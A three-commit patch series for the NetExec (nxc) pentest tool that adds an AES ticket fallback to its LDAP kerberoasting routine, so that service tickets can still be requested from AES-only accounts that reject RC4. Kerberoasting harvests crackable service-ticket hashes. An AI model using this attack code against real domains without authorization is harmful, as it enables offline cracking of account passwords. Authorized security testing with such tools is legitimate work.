From f1c01125f522ba114fed975d698386c45c50c4b3 Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 16 Jul 2026 16:56:10 +0300 Subject: [PATCH 1/3] Add no-rc4 against forcing AES-only while kerberoasting --- nxc/protocols/ldap.py | 58 ++++++++++++++++++++++++++++------ nxc/protocols/ldap/kerberos.py | 6 ++-- 2 files changed, 52 insertions(+), 12 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index fd034fa427..5f13f369b0 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -28,7 +28,7 @@ ) from impacket.krb5 import constants from impacket.krb5.crypto import generate_kerberos_keys -from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError +from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError, KerberosError from impacket.krb5.ccache import CCache from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket @@ -973,6 +973,24 @@ def asreproast(self): with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_TGT}\n") + def _kerberoast_aes_fallback(self, err, current_tgt): + """Obtain (and cache) an AES TGT to retry kerberoasting when an AES-only account rejects the RC4 ticket.""" + if err.getErrorCode() != constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + return None + + cached = getattr(self, "_kerberoast_aes_tgt", None) + if cached is not None: + # Already using the AES TGT and it still failed: nothing more to try for this account. + return None if current_tgt is cached else cached + + if not self.password and not self.aesKey: + self.logger.fail("Target rejects RC4 (AES-only) and the current auth cannot request an AES TGT. Use password or --aesKey auth to kerberoast this account.") + return None + + self.logger.info("Target rejects RC4 (AES-only); retrying kerberoasting with an AES TGT") + self._kerberoast_aes_tgt = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache, force_aes=True) + return self._kerberoast_aes_tgt + def kerberoasting(self): if self.args.no_preauth_targets: self.roast_no_preauth() @@ -1043,7 +1061,11 @@ def kerberoasting(self): continue try: - TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) + if getattr(self, "_kerberoast_aes_tgt", None) is not None: + # A previous account rejected RC4 (AES-only domain/account); reuse the AES TGT for the rest. + TGT = self._kerberoast_aes_tgt + else: + TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: try: @@ -1051,14 +1073,30 @@ def kerberoasting(self): principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"] - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( - principalName, - self.domain, - self.kdcHost, - TGT["KDC_REP"], - TGT["cipher"], - TGT["sessionKey"], - ) + try: + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) + except KerberosError as ke: + # RC4 service ticket rejected by an AES-only account (KDC_ERR_ETYPE_NOSUPP). + # Retry once with an AES TGT, mirroring the asreproast fallback behavior. + aes_tgt = self._kerberoast_aes_fallback(ke, TGT) + if aes_tgt is None: + raise + TGT = aes_tgt + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) out = KerberosAttacks(self).output_tgs( tgs, oldSessionKey, diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index d5f4752074..f6d3d8bb1a 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -123,7 +123,7 @@ def output_tgs_from_asrep(self, asrep_blob, spn, fd=None): fd.write(entry + "\n") return entry - def get_tgt_kerberoasting(self, kcache=None): + def get_tgt_kerberoasting(self, kcache=None, force_aes=False): if kcache: if getenv("KRB5CCNAME"): self.logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") @@ -152,7 +152,9 @@ def get_tgt_kerberoasting(self, kcache=None): # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. - if self.password != "" and (self.lmhash == "" and self.nthash == ""): + # When force_aes is set (AES-only target rejected RC4), we skip the RC4 conversion so the KDC + # negotiates an AES TGT from the cleartext password / aesKey instead. + if self.password != "" and (self.lmhash == "" and self.nthash == "") and not force_aes: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( user_name, From 03193402ae85ff0e8c0c6f65c468fb65c7717991 Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 16 Jul 2026 17:29:16 +0300 Subject: [PATCH 2/3] After review again, this part works as well current line. --- nxc/protocols/ldap.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 5f13f369b0..36ec048d40 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1061,11 +1061,7 @@ def kerberoasting(self): continue try: - if getattr(self, "_kerberoast_aes_tgt", None) is not None: - # A previous account rejected RC4 (AES-only domain/account); reuse the AES TGT for the rest. - TGT = self._kerberoast_aes_tgt - else: - TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) + TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: try: From 833bb9a39cd01a613296af1abe8c1c2fc49da383 Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 16 Jul 2026 17:41:50 +0300 Subject: [PATCH 3/3] Variable name changed --- nxc/protocols/ldap.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 36ec048d40..2116e5d78e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -973,9 +973,9 @@ def asreproast(self): with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_TGT}\n") - def _kerberoast_aes_fallback(self, err, current_tgt): + def _kerberoast_aes_fallback(self, e, current_tgt): """Obtain (and cache) an AES TGT to retry kerberoasting when an AES-only account rejects the RC4 ticket.""" - if err.getErrorCode() != constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + if not isinstance(e, KerberosError) or e.getErrorCode() != constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: return None cached = getattr(self, "_kerberoast_aes_tgt", None) @@ -1078,10 +1078,10 @@ def kerberoasting(self): TGT["cipher"], TGT["sessionKey"], ) - except KerberosError as ke: + except Exception as e: # RC4 service ticket rejected by an AES-only account (KDC_ERR_ETYPE_NOSUPP). # Retry once with an AES TGT, mirroring the asreproast fallback behavior. - aes_tgt = self._kerberoast_aes_fallback(ke, TGT) + aes_tgt = self._kerberoast_aes_fallback(e, TGT) if aes_tgt is None: raise TGT = aes_tgt